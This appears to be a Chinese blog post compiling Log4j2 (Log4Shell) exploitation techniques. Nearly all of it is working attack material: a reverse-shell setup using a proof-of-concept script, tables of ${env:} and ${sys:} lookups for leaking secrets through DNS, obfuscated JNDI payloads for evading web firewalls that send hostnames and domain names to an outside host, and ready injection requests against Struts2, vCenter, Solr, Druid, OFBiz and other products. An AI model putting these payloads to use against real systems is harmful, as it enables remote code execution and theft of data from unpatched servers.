zoukankan      html  css  js  c++  java
  • 【实战】log4j2远程命令执行漏洞利用姿势汇总

     

    0x00 反弹shell

    靶机:10.110.13.153
    java -jar log4jRCE-0.0.1-SNAPSHOT.jar
    http://10.110.13.153:18080/
    攻击机:10.110.13.106
    python3 poc.py --userip 10.110.13.106 --webport 8000 --lport 2345
    攻击机开启监听后,执行payload获取shell:

    0x01 获取敏感数据

    log4j-java

    ID usage method
    1 ${java:version} getSystemProperty("java.version")
    2 ${java:runtime} getRuntime()
    3 ${java:vm} getVirtualMachine()
    4 ${java:os} getOperatingSystem()
    5 ${java:hw} getHardware()
    6 ${java:locale} getLocale()
    数据中包含特殊字符时可考虑采用dns进行带外
    依此类推

    Linux

    id usage
    1 ${env:CLASSPATH}
    2 ${env:HOME}
    3 ${env:JAVA_HOME}
    4 ${env:LANG}
    5 ${env:LC_TERMINAL}
    6 ${env:LC_TERMINAL_VERSION}
    7 ${env:LESS}
    8 ${env:LOGNAME}
    9 ${env:LSCOLORS}
    10 ${env:LS_COLORS}
    11 ${env:MAIL}
    12 ${env:NLSPATH}
    13 ${env:OLDPWD}
    14 ${env:PAGER}
    15 ${env:PATH}
    16 ${env:PWD}
    17 ${env:SHELL}
    18 ${env:SHLVL}
    19 ${env:SSH_CLIENT}
    20 ${env:SSH_CONNECTION}
    21 ${env:SSH_TTY}
    22 ${env:TERM}
    23 ${env:USER}
    24 ${env:XDG_RUNTIME_DIR}
    25 ${env:XDG_SESSION_ID}
    26 ${env:XFILESEARCHPATH}
    27 ${env:ZSH}

    Windows

    id usage
    1 ${env:A8_HOME}
    2 ${env:A8_ROOT_BIN}
    3 ${env:ALLUSERSPROFILE}
    4 ${env:APPDATA}
    5 ${env:CATALINA_BASE}
    6 ${env:CATALINA_HOME}
    7 ${env:CATALINA_OPTS}
    8 ${env:CATALINA_TMPDIR}
    9 ${env:CLASSPATH}
    10 ${env:CLIENTNAME}
    11 ${env:COMPUTERNAME}
    12 ${env:ComSpec}
    13 ${env:CommonProgramFiles}
    14 ${env:CommonProgramFiles(x86)}
    15 ${env:CommonProgramW6432}
    16 ${env:FP_NO_HOST_CHECK}
    17 ${env:HOMEDRIVE}
    18 ${env:HOMEPATH}
    19 ${env:JRE_HOME}
    20 ${env:Java_Home}
    21 ${env:LOCALAPPDATA}
    22 ${env:LOGONSERVER}
    23 ${env:NUMBER_OF_PROCESSORS}
    24 ${env:OS}
    25 ${env:PATHEXT}
    26 ${env:PROCESSOR_ARCHITECTURE}
    27 ${env:PROCESSOR_IDENTIFIER}
    28 ${env:PROCESSOR_LEVEL}
    29 ${env:PROCESSOR_REVISION}
    30 ${env:PROMPT}
    31 ${env:PSModulePath}
    32 ${env:PUBLIC}
    33 ${env:Path}
    34 ${env:ProgramData}
    35 ${env:ProgramFiles}
    36 ${env:ProgramFiles(x86)}
    37 ${env:ProgramW6432}
    38 ${env:SESSIONNAME}
    39 ${env:SystemDrive}
    40 ${env:SystemRoot}
    41 ${env:TEMP}
    42 ${env:TMP}
    43 ${env:ThisExitCode}
    44 ${env:USERDOMAIN}
    45 ${env:USERNAME}
    46 ${env:USERPROFILE}
    47 ${env:WORK_PATH}
    48 ${env:windir}
    49 ${env:windows_tracing_flags}
    50 ${env:windows_tracing_logfile}

    log4j2-sys

    id usage
    1 ${sys:awt.toolkit}
    2 ${sys:file.encoding}
    3 ${sys:file.encoding.pkg}
    4 ${sys:file.separator}
    5 ${sys:java.awt.graphicsenv}
    6 ${sys:java.awt.printerjob}
    7 ${sys:java.class.path}
    8 ${sys:java.class.version}
    9 ${sys:java.endorsed.dirs}
    10 ${sys:java.ext.dirs}
    11 ${sys:java.home}
    12 ${sys:java.io.tmpdir}
    13 ${sys:java.library.path}
    14 ${sys:java.runtime.name}
    15 ${sys:java.runtime.version}
    16 ${sys:java.specification.name}
    17 ${sys:java.specification.vendor}
    18 ${sys:java.specification.version}
    19 ${sys:java.vendor}
    20 ${sys:java.vendor.url}
    21 ${sys:java.vendor.url.bug}
    22 ${sys:java.version}
    23 ${sys:java.vm.info}
    24 ${sys:java.vm.name}
    25 ${sys:java.vm.specification.name}
    26 ${sys:java.vm.specification.vendor}
    27 ${sys:java.vm.specification.version}
    28 ${sys:java.vm.vendor}
    29 ${sys:java.vm.version}
    30 ${sys:line.separator}
    31 ${sys:os.arch}
    32 ${sys:os.name}
    33 ${sys:os.version}
    34 ${sys:path.separator}
    35 ${sys:sun.arch.data.model}
    36 ${sys:sun.boot.class.path}
    37 ${sys:sun.boot.library.path}
    38 ${sys:sun.cpu.endian}
    39 ${sys:sun.cpu.isalist}
    40 ${sys:sun.desktop}
    41 ${sys:sun.io.unicode.encoding}
    42 ${sys:sun.java.command}
    43 ${sys:sun.java.launcher}
    44 ${sys:sun.jnu.encoding}
    45 ${sys:sun.management.compiler}
    46 ${sys:sun.os.patch.level}
    47 ${sys:sun.stderr.encoding}
    48 ${sys:user.country}
    49 ${sys:user.dir}
    50 ${sys:user.home}
    51 ${sys:user.language}
    52 ${sys:user.name}
    53 ${sys:user.script}
    54 ${sys:user.timezone}
    55 ${sys:user.variant}

    0x02 WAF Bypass

    ${jndi:ldap://127.0.0.1:1389/a}
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
    ${${::-j}ndi:rmi://ceye.io/a}
    ${jndi:rmi://ceye.io}
    ${${lower:jndi}:${lower:rmi}://ceye.io/a}
    ${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
    ${${upper:jndi}:${upper:rmi}://ceye.io/a}
    ${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
    ${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
    ${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io

    0x03 其它已知受影响组件可利用的payload

    Apache struts2
    http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'
    http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
     
    VMWare VCenter
    "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon- machine.lan?SAMLRequest="
     
    Apache James
    "smtp://localhost" --user "test:test" --mail-from '${jndi:ldap://localhost:1270/a}@gmail.com' --mail-rcpt 'test' --upload-file email.txt
     
    Apache Solr

    /solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json
    /solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://0.0.0.0/123%7D&wt=json
    /solr/admin/info/system?_=${jndi:ldap://0.0.0.0/123}&wt=json
    /solr/admin/cores?_=&action=&config=&dataDir=&instanceDir=${jndi:ldap://0.0.0.0/123}&name=&schema=&wt=

    Apache  Flink
    POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run
     
    Apache Druid

    /druid/coordinator/${jndi:ldap://0.0.0.0/123}
    /druid/indexer/${jndi:ldap://0.0.0.0/123}
    /druid/v2/${jndi:ldap://0.0.0.0/123}
    curl -vv -X DELETE 'http://xxxxxx:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2fdruid_test.yyyyyyyy%7d'

     
    Apache JSPWiki
    http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/
     
    Apache OFBiz
    "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main
     
     
  • 相关阅读:
    Html禁止粘贴 复制 剪切
    表单标签
    自构BeanHandler(用BeansUtils)
    spring配置中引入properties
    How Subcontracting Cockpit ME2ON creates SD delivery?
    cascadia code一款很好看的微软字体
    How condition value calculated in sap
    Code in SAP query
    SO Pricing not updated for partial billing items
    Javascript learning
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/15772359.html
Copyright © 2011-2022 走看看